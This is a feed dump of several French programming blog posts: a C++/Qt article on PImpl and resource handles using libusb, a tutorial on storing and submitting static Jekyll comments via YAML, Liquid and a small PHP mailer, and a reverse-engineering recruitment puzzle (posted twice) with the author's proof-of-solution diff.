Q_ASSERT(s1 == "ABC");

En d’autres termes, les classes publiques ci-dessus ont une sémantique de valeur.

Resource handles

À la place, nous pouvons décider de partager inconditionnellement la partie privée, y compris après une écriture :

graph_pimpl_shared

Dans ce cas, la classe publique a sémantique d’entité. Elle est qualifiée de resource handle.

C’est bien sûr le cas des smart pointers :

QSharedPointer<Person> p1(new Person("ABC", 42));
QSharedPointer<person> p2 = p1;
p2->setName("DEF");
Q_ASSERT(p1.getName() == "DEF");
Q_ASSERT(p2.getName() == "DEF");

Mais aussi d’autres classes, comme l’API Dom de Qt :

void addItem(const QDomDocument &document, const QDomElement &element) {
    QDomElement root = document.documentElement();
    root.insertAfter(element, {});
    // the document is modified
}

PImpl avec des smart pointers

Tout-à-l’heure, j’ai présenté PImpl en utilisant un owning raw pointer :

class PersonPrivate; // forward declaration
class Person {
    // this is a raw pointer!
    PersonPrivate *d;
public:
    // …
};

Mais en fait, à chaque type de relation correspond un type de smart pointer directement utilisable pour PImpl.

Pour une relation 1-1 classique :

Pour une relation 1-N à sémantique de valeur (CoW) :

Pour une relation 1-N à sémantique d’entité :

Par exemple, donnons à notre classe Person une sémantique d’entité :

class PersonPrivate; // forward declaration
class Person {
    QSharedPointer<PersonPrivate> d;
public:
    Person() = default; // a "null" person
    Person(const QString &name, long birth);
    QString getName() const;
    // shared handles should expose const methods
    void setName(const QString &name) const;
    int getAge() const;
    operator bool() const { return d; }
};

Person se comporte maintenant comme un pointeur.

Person p1("ABC", 42);
Person p2 = p1;
p2.setName("DEF");
Q_ASSERT(p1.getName() == "DEF");
Q_ASSERT(p2.getName() == "DEF");

p1 et p2 sont alors des resource handles vers PersonPrivate :

graph_shared_person

Évidemment, ce n’est pas approprié pour la classe Person, car le comportement est trop inattendu.

Mais je vais présenter un cas réel où ce design est approprié.

En pratique

Pour l’entreprise dans laquelle je suis salarié, j’ai implémenté une fonctionnalité permettant d’utiliser une souris USB branchée sur un PC pour contrôler un téléphone Android connecté en USB.

Concrètement, cela consiste à tranférer (grâce à libusb), à partir du PC, les événements HID reçus de la souris vers le téléphone Android.

J’ai donc (entre autres) créé des resources handles UsbDevice et UsbDeviceHandle qui wrappent les structures C libusb_device et libusb_device_handle, suivant les principes détaillés dans ce billet.

Leur utilisation illustre bien, d’après moi, les bénéfices d’une telle conception.

class UsbDeviceMonitor {
    QList<UsbDevice> devices;
public:
    // …
    UsbDevice getAnyDroid() const;
    UsbDevice getAnyMouse() const;
signals:
    void deviceArrived(const UsbDevice &device);
    void deviceLeft(const UsbDevice &device);
};

UsbDevice peut être retourné par valeur, et passé en paramètre d’un signal par const reference (exactement comme nous le ferions avec un QString).

UsbDevice UsbDeviceMonitor::getAnyMouse() const {
    for (const UsbDevice &device : devices)
        if (device.isMouse())
            return device;
    return {};
}

Si une souris est trouvée dans la liste, on la retourne simplement ; sinon, on retourne un UsbDevicenull”.

void UsbDeviceMonitor::onHotplugDeviceArrived(const UsbDevice &device) {
    devices.append(device);
    emit deviceArrived(device);
}

La gestion mémoire est totalement automatique et transparente. Les problèmes présentés sont résolus.

void registerQml() {
    qRegisterMetaType<UsbDevice>();
}
// QML
function startForwarding() {
    var mouse = usbDeviceMonitor.getAnyMouse()
    var droid = usbDeviceMonitor.getAnyDroid()
    worker = hid.forward(mouse, droid)
}

UsbDevice peut naviguer entre la couche C++ et QML.

bool HID::forward(const UsbDevice &mouse, const UsbDevice &droid) {
    UsbDeviceHandle droidHandle = droid.open();
    if (!droidHandle)
        return false;
    UsbDeviceHandle mouseHandle = mouse.open();
    if (!mouseHandle)
        return false;
    // …
}

Grâce à RAII, les connexions (UsbDeviceHandle) sont fermées automatiquement.

En particulier, si la connexion à la souris échoue, la connexion au téléphone Android est automatiquement fermée.

Résultat

Dans ces différents exemples, new et delete ne sont jamais utilisés, et par construction, la mémoire sera correctement gérée. Ou plus précisément, si un problème de gestion mémoire existe, il se situera dans l’implémentation de la classe elle-même, et non partout où elle est utilisée.

Ainsi, nous manipulons des handles se comportant comme des pointeurs, ayant les mêmes avantages que les valeurs :

Ils peuvent par contre présenter quelques limitations.

Par exemple, ils sont incompatibles avec QObject. En effet, techniquement, la classe d’un resource handle doit pouvoir être copiée (pour supporter le passage par valeur), alors qu’un QObject n’est pas copiable :

QObjects are identities, not values.

Très concrètement, cela implique que UsbDevice ne pourrait pas supporter de signaux (en tout cas, pas directement). C’est d’ailleurs le cas de beaucoup de classes de Qt : par exemple QString et QList n’héritent pas de QObject.

Résumé

auto decide = [=] {
    if (semantics == VALUE) {
        if (!mustAvoidCopies)
            return "just use values";
        return "use PImpl + QSharedDataPointer";
    }
    // semantics == ENTITY
    if (entitySemanticsIsObvious)
        return "use PImpl + QSharedPointer";
    return "use smart pointers explicitly";
};

C’est juste une heuristique…

Conclusion

En suivant ces principes, nous pouvons nous débarrasser des owning raw pointers et des new et delete “nus”. Cela contribue à rendre le code plus simple et plus robuste.

Ce sont d’ailleurs des objectifs qui guident les évolutions du langage C++ :

return 0;

";s:7:"dateiso";s:15:"20170112_193314";}s:15:"20170109_180604";a:7:{s:5:"title";s:34:"Commentaires statiques avec Jekyll";s:4:"link";s:66:"https://blog.rom1v.com/2017/01/commentaires-statiques-avec-jekyll/";s:4:"guid";s:65:"https://blog.rom1v.com/2017/01/commentaires-statiques-avec-jekyll";s:7:"pubDate";s:25:"2017-01-09T18:06:04+01:00";s:11:"description";s:0:"";s:7:"content";s:22101:"

Pour ce blog, j’ai abandonné Wordpress pour Jekyll, un moteur de blog statique.

Ainsi, j’écris mes articles en markdown dans mon éditeur favori, je les commite dans un dépôt git, et je génère le blog avec :

jekyll build

Le contenu hébergé étant statique, les pages ainsi générées à partir des sources sont renvoyées telles quelles.

Ce fonctionnement a beaucoup d’avantages :

Sans commentaires

L’inconvénient, c’est qu’un contenu statique est difficilement conciliable avec le support des commentaires (il faut bien d’une manière ou d’une autre exécuter du code lors de la réception d’un commentaire).

Il y a plusieurs manières de contourner le problème.

Il est par exemple possible d’en déporter la gestion (sur un service en ligne comme Disqus ou un équivalent libre – isso – à héberger soi-même). Ainsi, les commentaires peuvent être chargés séparément par le client en Javascript.

Au lieu de cela, j’ai choisi d’intégrer les commentaires aux sources du blog. Voici comment.

L’objectif est d’une part de pouvoir stocker et afficher les commentaires existants, et d’autre part de fournir aux lecteurs la possibilité d’en soumettre de nouveaux, qui me seront envoyés par e-mail.

Je me suis principalement inspiré du contenu de Jekyll::StaticComments, même si, comme nous allons le voir, je n’utilise pas le plug-in lui-même.

Stockage

L’idée est de stocker les commentaires quelque part dans les sources du site au format YAML.

Le plugin Jekyll::StaticComments nécessite de stocker un fichier par commentaire dans un dossier spécial (_comments) parsé par un script à insérer dans le répertoire _plugins.

Personnellement, je préfère avoir tous les commentaires d’un même post regroupés au sein d’un même fichier. Et pour cela, pas besoin de plug-in : nous pouvons faire correspondre à chaque post dans _posts une liste de commentaires dans _data (un répertoire géré nativement par Jekyll).

Par exemple, ce billet est stocké dans :

_posts/2017-01-09-commentaires-statiques-avec-jekyll.md

Dans l’idéal, je voudrais que les commentaires associés soient stockés dans :

_data/comments-2017-01-09-commentaires-statiques-avec-jekyll.yaml

En pratique, pour des raisons techniques (Jekyll ne donne pas accès au nom du fichier), le nom du fichier ne contient pas le numéro du jour :

_data/comments-2017-01-commentaires-statiques-avec-jekyll.yaml

Il suffit alors de stocker dans ces fichiers les commentaires sous cette forme :

- id: 1
  author: this_is_me
  date: 2017-01-02 10:11:12+01:00
  contents: |
    Bonjour,

    Ceci est un commentaire écrit en _markdown_.
- id: 2
  author: dev42
  author-url: https://github.com
  date: 2017-01-02 12:11:10+01:00
  contents: |
    > Ceci est un commentaire écrit en _markdown_.

    Et ça supporte aussi le [Liquid](https://jekyllrb.com/docs/templates/) :

    {% highlight c %}
    int main() {
        return 0;
    }
    {% endhighlight %}

Pour des exemples réels, voir les sources des commentaires de ce blog.

Affichage

Maintenant que nous avons les données des commentaires, nous devons les afficher.

Il faut d’abord trouver la liste des commentaires associée à la page courante.

Comme nous ne pouvons pas récupérer directement le nom du fichier d’une page, nous devons reconstruire la chaîne à partir de la variable page.id, qui ici vaut :

/2017/01/commentaires-statiques-avec-jekyll

Cette ligne de Liquid :

comments{{ page.id | replace: '/', '-' }}

donne la valeur :

comments-2017-01-commentaires-statiques-avec-jekyll

Nous avons donc tout ce dont nous avons besoin pour créer le template de commentaires (à stocker dans _include/comments.html) :

{% capture commentid %}comments{{ page.id | replace: '/', '-' }}{% endcapture %}
{% if site.data[commentid] %}
<h2 id="comments">Commentaires</h2>
<div class="comments">
    {% for comment in site.data[commentid] %}
        <div id="comment-{{ comment.id }}" class="comment" />
            <div class="comment-author">
                {% if (comment.author-url) %}
                    <a href="{{comment.author-url}}">
                {% endif %}
                {{ comment.author }}
                {% if (comment.author-url) %}
                    </a>
                {% endif %}
            </div>
            <div class="comment-date">
                <a href="#comment-{{ comment.id }}">
                    {{ comment.date | date: "%-d %B %Y, %H:%M" }}
                </a>
            </div>
            <div class="comment-contents">
                {{ comment.contents | liquify | markdownify }}
            </div>
        </div>
    {% endfor %}
</div>

Il suffit alors d’inclure cette page à l’endroit où vous souhaitez insérer les commentaires (typiquement dans _layout/post.html) :

{% include comments.html %}

Formulaire

Pour proposer aux utilisateurs de poster de nouveaux commentaires, il nous faut un formulaire.

À titre d’exemple, voici le mien (intégré à _include/comments.html) :

<h3 class="comment-title">Poster un commentaire</h3>
<form method="POST" action="/comments/submit.php">
    <input type="hidden" name="post_id" value="{{ page.id }}" />
    <input type="hidden" name="return_url" value="{{ page.url }}" />
    <table class="comment-table">
        <tr>
            <th>Nom :</th>
            <td>
                <input type="text" size="25" name="name" />
                <em>(requis)</em>
            </td>
        </tr>
        <tr>
            <th>E-mail :</th>
            <td>
                <input type="text" size="25" name="email" />
                <em>(requis, non publié)</em>
            </td>
        </tr>
        <tr>
            <th>Site web :</th>
            <td>
                <input type="text" size="25" name="url" />
                <em>(optionnel)</em>
            </td>
        </tr>
        <tr>
            <td colspan="2">
                <textarea name="comment" rows="10"></textarea>
            </td>
        </tr>
        <tr>
            <td colspan="2">
                <input class="comment-submit" type="submit" value="Envoyer" />
            </td>
        </tr>
    </table>
</form>

Ce formulaire est affiché sous les commentaires existants.

Traitement

L’action du formulaire précédent pointait sur comments/submit.php. Il nous reste donc à écrire dans ce fichier le code à exécuter lorsqu’un utilisateur envoie un commentaire au serveur.

Ce sera la seule partie “dynamique” du site.

Voici les parties importantes de comments/submit.php (basé sur la version de Jekyll::StaticComments) :

<?php
$DATE_FORMAT = "Y-m-d H:i:sP";
$EMAIL_ADDRESS = "your@email";
$SUBJECT = "Nouveau commentaire";
$COMMENT_SENT = "sent.html";

$msg = "post_id: " . $_POST["post_id"] . "\n";
$msg .= "email: " . $_POST["email"] . "\n";
$msg .= "---\n";
$msg .= "- id: ?\n";
$msg .= "  author: " . $_POST["name"] . "\n";
if ($_POST["url"] !== '')
{
    $msg .= "  author-url: " . $_POST["url"] . "\n";
}
$msg .= "  date: " . date($DATE_FORMAT) . "\n";
$msg .= "  contents: |\n" . $_POST["comment"];

$headers = "From: $EMAIL_ADDRESS\n";
$headers .= "Content-Type: text/plain; charset=utf-8";

if (mail($EMAIL_ADDRESS, $SUBJECT, $msg, $headers))
{
    include $COMMENT_SENT;
}
else
{
    echo "Le commentaire n'a pas pu être envoyé.";
}

Quand un commentaire est envoyé avec succès, la page comments/sent.html est affichée à l’utilisateur.

Ainsi, lorsqu’un commentaire est posté, je reçois un mail :

post_id: /2017/01/commentaires-statiques-avec-jekyll
email: my@email
---
- id: ?
  author: ®om
  author-url: http://blog.rom1v.com
  date: 2017-01-09 19:27:10+01:00
  contents: |
Ceci est un test.

J’ai d’ailleurs ajouté une règle procmail pour que ces mails arrivent dans un dossier dédié.

Je peux alors copier le contenu dans le .yaml correspondant, formatter le commentaire (entre autres l’indenter de 4 espaces, ce qu’on pourrait automatiser), et le commiter.

Résumé

Une fois mis en place, vous devriez donc avoir les fichiers suivants :

Conclusion

Je souhaitais depuis longtemps migrer vers un moteur de blog statique, qui correspond davantage à ma façon d’écrire des articles, et offre beaucoup d’avantages (légèreté, sécurité, maintenance…).

Je suis très content d’y être parvenu sans perdre les commentaires ni la possibilité d’en poster de nouveaux.

Certes, la validation est très manuelle, mais c’est le prix à payer pour avoir des commentaires statiques. Pour un blog avec une fréquence de commentaires assez faible, je pense que ce n’est pas très gênant.

";s:7:"dateiso";s:15:"20170109_180604";}s:15:"20150721_183104";a:7:{s:5:"title";s:29:"Challenge reverse engineering";s:4:"link";s:60:"http://blog.rom1v.com/2015/07/challenge-reverse-engineering/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=5012";s:7:"pubDate";s:31:"Tue, 21 Jul 2015 16:31:04 +0000";s:11:"description";s:350:"Un collègue m’a envoyé récemment le lien vers ce challenge, utilisé pour recruter chez NERD (que je ne connais pas). Je vous le partage car je l’ai trouvé très intéressant. Le but est de trouver un input qui donne l’output attendu. Pour info, entre le moment où j’ai eu connaissance du problème et le moment […]";s:7:"content";s:21017:"

Un collègue m’a envoyé récemment le lien vers ce challenge, utilisé pour recruter chez NERD (que je ne connais pas).

Je vous le partage car je l’ai trouvé très intéressant. Le but est de trouver un input qui donne l’output attendu.

Pour info, entre le moment où j’ai eu connaissance du problème et le moment où je l’ai résolu, il s’est écoulé 6 jours. Je n’ai pas travaillé dessus à plein temps, mais ne comptez pas le résoudre en 20 minutes 😉

Je ne publie ni ma réponse au résultat attendu, ni les explications (ce serait incorrect vis-à-vis des auteurs du challenge). Je fournis par contre à la fin l’input qui donne comme output mon e-mail, ce qui suffit à prouver que j’ai résolu le problème.

Amusez-vous bien !

#include <string.h>

typedef unsigned char u8;
typedef unsigned int u32;

u8 confusion[512]={
0xac,0xd1,0x25,0x94,0x1f,0xb3,0x33,0x28,0x7c,0x2b,0x17,0xbc,0xf6,0xb0,0x55,0x5d,
0x8f,0xd2,0x48,0xd4,0xd3,0x78,0x62,0x1a,0x02,0xf2,0x01,0xc9,0xaa,0xf0,0x83,0x71,
0x72,0x4b,0x6a,0xe8,0xe9,0x42,0xc0,0x53,0x63,0x66,0x13,0x4a,0xc1,0x85,0xcf,0x0c,
0x24,0x76,0xa5,0x6e,0xd7,0xa1,0xec,0xc6,0x04,0xc2,0xa2,0x5c,0x81,0x92,0x6c,0xda,
0xc6,0x86,0xba,0x4d,0x39,0xa0,0x0e,0x8c,0x8a,0xd0,0xfe,0x59,0x96,0x49,0xe6,0xea,
0x69,0x30,0x52,0x1c,0xe0,0xb2,0x05,0x9b,0x10,0x03,0xa8,0x64,0x51,0x97,0x02,0x09,
0x8e,0xad,0xf7,0x36,0x47,0xab,0xce,0x7f,0x56,0xca,0x00,0xe3,0xed,0xf1,0x38,0xd8,
0x26,0x1c,0xdc,0x35,0x91,0x43,0x2c,0x74,0xb4,0x61,0x9d,0x5e,0xe9,0x4c,0xbf,0x77,
0x16,0x1e,0x21,0x1d,0x2d,0xa9,0x95,0xb8,0xc3,0x8d,0xf8,0xdb,0x34,0xe1,0x84,0xd6,
0x0b,0x23,0x4e,0xff,0x3c,0x54,0xa7,0x78,0xa4,0x89,0x33,0x6d,0xfb,0x79,0x27,0xc4,
0xf9,0x40,0x41,0xdf,0xc5,0x82,0x93,0xdd,0xa6,0xef,0xcd,0x8d,0xa3,0xae,0x7a,0xb6,
0x2f,0xfd,0xbd,0xe5,0x98,0x66,0xf3,0x4f,0x57,0x88,0x90,0x9c,0x0a,0x50,0xe7,0x15,
0x7b,0x58,0xbc,0x07,0x68,0x3a,0x5f,0xee,0x32,0x9f,0xeb,0xcc,0x18,0x8b,0xe2,0x57,
0xb7,0x49,0x37,0xde,0xf5,0x99,0x67,0x5b,0x3b,0xbb,0x3d,0xb5,0x2d,0x19,0x2e,0x0d,
0x93,0xfc,0x7e,0x06,0x08,0xbe,0x3f,0xd9,0x2a,0x70,0x9a,0xc8,0x7d,0xd8,0x46,0x65,
0x22,0xf4,0xb9,0xa2,0x6f,0x12,0x1b,0x14,0x45,0xc7,0x87,0x31,0x60,0x29,0xf7,0x73,
0x2c,0x97,0x72,0xcd,0x89,0xa6,0x88,0x4c,0xe8,0x83,0xeb,0x59,0xca,0x50,0x3f,0x27,
0x4e,0xae,0x43,0xd5,0x6e,0xd0,0x99,0x7b,0x7c,0x40,0x0c,0x52,0x86,0xc1,0x46,0x12,
0x5a,0x28,0xa8,0xbb,0xcb,0xf0,0x11,0x95,0x26,0x0d,0x34,0x66,0x22,0x18,0x6f,0x51,
0x9b,0x3b,0xda,0xec,0x5e,0x00,0x2a,0xf5,0x8f,0x61,0xba,0x96,0xb3,0xd1,0x30,0xdc,
0x33,0x75,0xe9,0x6d,0xc8,0xa1,0x3a,0x3e,0x5f,0x9d,0xfd,0xa9,0x31,0x9f,0xaa,0x85,
0x2f,0x92,0xaf,0x67,0x78,0xa5,0xab,0x03,0x21,0x4f,0xb9,0xad,0xfe,0xf3,0x42,0xfc,
0x17,0xd7,0xee,0xa3,0xd8,0x80,0x14,0x2e,0xa0,0x47,0x55,0xc4,0xff,0xe5,0x13,0x3f,
0x81,0xb6,0x7a,0x94,0xd0,0xb5,0x54,0xbf,0x91,0xa7,0x37,0xf1,0x6b,0xc9,0x1b,0xb1,
0x3c,0xb6,0xd9,0x32,0x24,0x8d,0xf2,0x82,0xb4,0xf9,0xdb,0x7d,0x44,0xfb,0x1e,0xd4,
0xea,0x5d,0x35,0x69,0x23,0x71,0x57,0x01,0x06,0xe4,0x55,0x9a,0xa4,0x58,0x56,0xc7,
0x4a,0x8c,0x8a,0xd6,0x6a,0x49,0x70,0xc5,0x8e,0x0a,0x62,0xdc,0x29,0x4b,0x42,0x41,
0xcb,0x2b,0xb7,0xce,0x08,0xa1,0x76,0x1d,0x1a,0xb8,0xe3,0xcc,0x7e,0x48,0x20,0xe6,
0xf8,0x45,0x93,0xde,0xc3,0x63,0x0f,0xb0,0xac,0x5c,0xba,0xdf,0x07,0x77,0xe7,0x4e,
0x1f,0x28,0x10,0x6c,0x59,0xd3,0xdd,0x2d,0x65,0x39,0xb2,0x74,0x84,0x3d,0xf4,0xbd,
0xc7,0x79,0x60,0x0b,0x4d,0x33,0x36,0x25,0xbc,0xe0,0x09,0xcf,0x5b,0xe2,0x38,0x9e,
0xc0,0xef,0xd2,0x16,0x05,0xbe,0x53,0xf7,0xc2,0xc6,0xa2,0x24,0x98,0x1c,0xad,0x04};

u32 diffusion[32]={
0xf26cb481,0x16a5dc92,0x3c5ba924,0x79b65248,0x2fc64b18,0x615acd29,0xc3b59a42,0x976b2584,
0x6cf281b4,0xa51692dc,0x5b3c24a9,0xb6794852,0xc62f184b,0x5a6129cd,0xb5c3429a,0x6b978425,
0xb481f26c,0xdc9216a5,0xa9243c5b,0x524879b6,0x4b182fc6,0xcd29615a,0x9a42c3b5,0x2584976b,
0x81b46cf2,0x92dca516,0x24a95b3c,0x4852b679,0x184bc62f,0x29cd5a61,0x429ab5c3,0x84256b97};

u8 input[32]={
//change only this :
0x66,0xd5,0x4e,0x28,0x5f,0xff,0x6b,0x53,0xac,0x3b,0x34,0x14,0xb5,0x3c,0xb2,0xc6,
0xa4,0x85,0x1e,0x0d,0x86,0xc7,0x4f,0xba,0x75,0x5e,0xcb,0xc3,0x6e,0x48,0x79,0x8f
//
};

void Forward(u8 c[32],u8 d[32],u8 s[512],u32 p[32])
{
	for(u32 i=0;i<256;i++)
	{
		for(u8 j=0;j<32;j++)
		{
			d[j]=s[c[j]];
			c[j]=0;
		}

		for(u8 j=0;j<32;j++)
			for(u8 k=0;k<32;k++)
				c[j]^=d[k]*((p[j]>>k)&1);
	}
	for(u8 i=0;i<16;i++)
		d[i]=s[c[i*2]]^s[c[i*2+1]+256];
}

int main(int argc, char* argv[])
{
	u8 target[]="Hire me!!!!!!!!";
	u8 output[32];

	Forward(input,output,confusion,diffusion);

	return memcmp(output,target,16); // => contact jobs(at)nerd.nintendo.com
}

Ma preuve de solution :

diff --git a/HireMe.cpp b/HireMe.cpp
index ca94719..8374683 100644
--- a/HireMe.cpp
+++ b/HireMe.cpp
@@ -45,8 +45,8 @@ u32 diffusion[32]={
 
 u8 input[32]={
 //change only this :
-0x66,0xd5,0x4e,0x28,0x5f,0xff,0x6b,0x53,0xac,0x3b,0x34,0x14,0xb5,0x3c,0xb2,0xc6,
-0xa4,0x85,0x1e,0x0d,0x86,0xc7,0x4f,0xba,0x75,0x5e,0xcb,0xc3,0x6e,0x48,0x79,0x8f
+0x82,0x69,0xd7,0x3c,0xd7,0x58,0xd7,0x0d,0x22,0x46,0x58,0x22,0x22,0x69,0x22,0x77,
+0x77,0xd7,0x77,0xe6,0xf8,0x22,0xd7,0x58,0x9c,0x58,0x3c,0xf8,0xf8,0x22,0x58,0x13
 //
 };
 
@@ -70,7 +70,7 @@ void Forward(u8 c[32],u8 d[32],u8 s[512],u32 p[32])
 
 int main(int argc, char* argv[])
 {
-	u8 target[]="Hire me!!!!!!!!";
+	u8 target[]="[rom@rom1v.com]";
 	u8 output[32];
 
 	Forward(input,output,confusion,diffusion);
";s:7:"dateiso";s:15:"20150721_183104";}s:15:"20150721_163104";a:7:{s:5:"title";s:29:"Challenge reverse engineering";s:4:"link";s:61:"https://blog.rom1v.com/2015/07/challenge-reverse-engineering/";s:4:"guid";s:60:"https://blog.rom1v.com/2015/07/challenge-reverse-engineering";s:7:"pubDate";s:25:"2015-07-21T16:31:04+02:00";s:11:"description";s:0:"";s:7:"content";s:38702:"

Un collègue m’a envoyé récemment le lien vers ce challenge, utilisé pour recruter chez NERD (que je ne connais pas).

Je vous le partage car je l’ai trouvé très intéressant. Le but est de trouver un input qui donne l’output attendu.

Pour info, entre le moment où j’ai eu connaissance du problème et le moment où je l’ai résolu, il s’est écoulé 6 jours. Je n’ai pas travaillé dessus à plein temps, mais ne comptez pas le résoudre en 20 minutes ;-)

Je ne publie ni ma réponse au résultat attendu, ni les explications (ce serait incorrect vis-à-vis des auteurs du challenge). Je fournis par contre à la fin l’input qui donne comme output mon e-mail, ce qui suffit à prouver que j’ai résolu le problème.

Amusez-vous bien !

#include <string.h>

typedef unsigned char u8;
typedef unsigned int u32;

u8 confusion[512]={
0xac,0xd1,0x25,0x94,0x1f,0xb3,0x33,0x28,0x7c,0x2b,0x17,0xbc,0xf6,0xb0,0x55,0x5d,
0x8f,0xd2,0x48,0xd4,0xd3,0x78,0x62,0x1a,0x02,0xf2,0x01,0xc9,0xaa,0xf0,0x83,0x71,
0x72,0x4b,0x6a,0xe8,0xe9,0x42,0xc0,0x53,0x63,0x66,0x13,0x4a,0xc1,0x85,0xcf,0x0c,
0x24,0x76,0xa5,0x6e,0xd7,0xa1,0xec,0xc6,0x04,0xc2,0xa2,0x5c,0x81,0x92,0x6c,0xda,
0xc6,0x86,0xba,0x4d,0x39,0xa0,0x0e,0x8c,0x8a,0xd0,0xfe,0x59,0x96,0x49,0xe6,0xea,
0x69,0x30,0x52,0x1c,0xe0,0xb2,0x05,0x9b,0x10,0x03,0xa8,0x64,0x51,0x97,0x02,0x09,
0x8e,0xad,0xf7,0x36,0x47,0xab,0xce,0x7f,0x56,0xca,0x00,0xe3,0xed,0xf1,0x38,0xd8,
0x26,0x1c,0xdc,0x35,0x91,0x43,0x2c,0x74,0xb4,0x61,0x9d,0x5e,0xe9,0x4c,0xbf,0x77,
0x16,0x1e,0x21,0x1d,0x2d,0xa9,0x95,0xb8,0xc3,0x8d,0xf8,0xdb,0x34,0xe1,0x84,0xd6,
0x0b,0x23,0x4e,0xff,0x3c,0x54,0xa7,0x78,0xa4,0x89,0x33,0x6d,0xfb,0x79,0x27,0xc4,
0xf9,0x40,0x41,0xdf,0xc5,0x82,0x93,0xdd,0xa6,0xef,0xcd,0x8d,0xa3,0xae,0x7a,0xb6,
0x2f,0xfd,0xbd,0xe5,0x98,0x66,0xf3,0x4f,0x57,0x88,0x90,0x9c,0x0a,0x50,0xe7,0x15,
0x7b,0x58,0xbc,0x07,0x68,0x3a,0x5f,0xee,0x32,0x9f,0xeb,0xcc,0x18,0x8b,0xe2,0x57,
0xb7,0x49,0x37,0xde,0xf5,0x99,0x67,0x5b,0x3b,0xbb,0x3d,0xb5,0x2d,0x19,0x2e,0x0d,
0x93,0xfc,0x7e,0x06,0x08,0xbe,0x3f,0xd9,0x2a,0x70,0x9a,0xc8,0x7d,0xd8,0x46,0x65,
0x22,0xf4,0xb9,0xa2,0x6f,0x12,0x1b,0x14,0x45,0xc7,0x87,0x31,0x60,0x29,0xf7,0x73,
0x2c,0x97,0x72,0xcd,0x89,0xa6,0x88,0x4c,0xe8,0x83,0xeb,0x59,0xca,0x50,0x3f,0x27,
0x4e,0xae,0x43,0xd5,0x6e,0xd0,0x99,0x7b,0x7c,0x40,0x0c,0x52,0x86,0xc1,0x46,0x12,
0x5a,0x28,0xa8,0xbb,0xcb,0xf0,0x11,0x95,0x26,0x0d,0x34,0x66,0x22,0x18,0x6f,0x51,
0x9b,0x3b,0xda,0xec,0x5e,0x00,0x2a,0xf5,0x8f,0x61,0xba,0x96,0xb3,0xd1,0x30,0xdc,
0x33,0x75,0xe9,0x6d,0xc8,0xa1,0x3a,0x3e,0x5f,0x9d,0xfd,0xa9,0x31,0x9f,0xaa,0x85,
0x2f,0x92,0xaf,0x67,0x78,0xa5,0xab,0x03,0x21,0x4f,0xb9,0xad,0xfe,0xf3,0x42,0xfc,
0x17,0xd7,0xee,0xa3,0xd8,0x80,0x14,0x2e,0xa0,0x47,0x55,0xc4,0xff,0xe5,0x13,0x3f,
0x81,0xb6,0x7a,0x94,0xd0,0xb5,0x54,0xbf,0x91,0xa7,0x37,0xf1,0x6b,0xc9,0x1b,0xb1,
0x3c,0xb6,0xd9,0x32,0x24,0x8d,0xf2,0x82,0xb4,0xf9,0xdb,0x7d,0x44,0xfb,0x1e,0xd4,
0xea,0x5d,0x35,0x69,0x23,0x71,0x57,0x01,0x06,0xe4,0x55,0x9a,0xa4,0x58,0x56,0xc7,
0x4a,0x8c,0x8a,0xd6,0x6a,0x49,0x70,0xc5,0x8e,0x0a,0x62,0xdc,0x29,0x4b,0x42,0x41,
0xcb,0x2b,0xb7,0xce,0x08,0xa1,0x76,0x1d,0x1a,0xb8,0xe3,0xcc,0x7e,0x48,0x20,0xe6,
0xf8,0x45,0x93,0xde,0xc3,0x63,0x0f,0xb0,0xac,0x5c,0xba,0xdf,0x07,0x77,0xe7,0x4e,
0x1f,0x28,0x10,0x6c,0x59,0xd3,0xdd,0x2d,0x65,0x39,0xb2,0x74,0x84,0x3d,0xf4,0xbd,
0xc7,0x79,0x60,0x0b,0x4d,0x33,0x36,0x25,0xbc,0xe0,0x09,0xcf,0x5b,0xe2,0x38,0x9e,
0xc0,0xef,0xd2,0x16,0x05,0xbe,0x53,0xf7,0xc2,0xc6,0xa2,0x24,0x98,0x1c,0xad,0x04};

u32 diffusion[32]={
0xf26cb481,0x16a5dc92,0x3c5ba924,0x79b65248,0x2fc64b18,0x615acd29,0xc3b59a42,0x976b2584,
0x6cf281b4,0xa51692dc,0x5b3c24a9,0xb6794852,0xc62f184b,0x5a6129cd,0xb5c3429a,0x6b978425,
0xb481f26c,0xdc9216a5,0xa9243c5b,0x524879b6,0x4b182fc6,0xcd29615a,0x9a42c3b5,0x2584976b,
0x81b46cf2,0x92dca516,0x24a95b3c,0x4852b679,0x184bc62f,0x29cd5a61,0x429ab5c3,0x84256b97};

u8 input[32]={
//change only this :
0x66,0xd5,0x4e,0x28,0x5f,0xff,0x6b,0x53,0xac,0x3b,0x34,0x14,0xb5,0x3c,0xb2,0xc6,
0xa4,0x85,0x1e,0x0d,0x86,0xc7,0x4f,0xba,0x75,0x5e,0xcb,0xc3,0x6e,0x48,0x79,0x8f
//
};

void Forward(u8 c[32],u8 d[32],u8 s[512],u32 p[32])
{
    for(u32 i=0;i<256;i++)
    {
        for(u8 j=0;j<32;j++)
        {
            d[j]=s[c[j]];
            c[j]=0;
        }

        for(u8 j=0;j<32;j++)
            for(u8 k=0;k<32;k++)
                c[j]^=d[k]*((p[j]>>k)&1);
    }
    for(u8 i=0;i<16;i++)
        d[i]=s[c[i*2]]^s[c[i*2+1]+256];
}

int main(int argc, char* argv[])
{
    u8 target[]="Hire me!!!!!!!!";
    u8 output[32];

    Forward(input,output,confusion,diffusion);

    return memcmp(output,target,16); // => contact jobs(at)nerd.nintendo.com
}

Ma preuve de solution :

diff --git a/HireMe.cpp b/HireMe.cpp
index ca94719..8374683 100644
--- a/HireMe.cpp
+++ b/HireMe.cpp
@@ -45,8 +45,8 @@ u32 diffusion[32]={
 
 u8 input[32]={
 //change only this :
-0x66,0xd5,0x4e,0x28,0x5f,0xff,0x6b,0x53,0xac,0x3b,0x34,0x14,0xb5,0x3c,0xb2,0xc6,
-0xa4,0x85,0x1e,0x0d,0x86,0xc7,0x4f,0xba,0x75,0x5e,0xcb,0xc3,0x6e,0x48,0x79,0x8f
+0x82,0x69,0xd7,0x3c,0xd7,0x58,0xd7,0x0d,0x22,0x46,0x58,0x22,0x22,0x69,0x22,0x77,
+0x77,0xd7,0x77,0xe6,0xf8,0x22,0xd7,0x58,0x9c,0x58,0x3c,0xf8,0xf8,0x22,0x58,0x13
 //
 };
 
@@ -70,7 +70,7 @@ void Forward(u8 c[32],u8 d[32],u8 s[512],u32 p[32])
 
 int main(int argc, char* argv[])
 {
-   u8 target[]="Hire me!!!!!!!!";
+   u8 target[]="[rom@rom1v.com]";
    u8 output[32];
 
    Forward(input,output,confusion,diffusion);
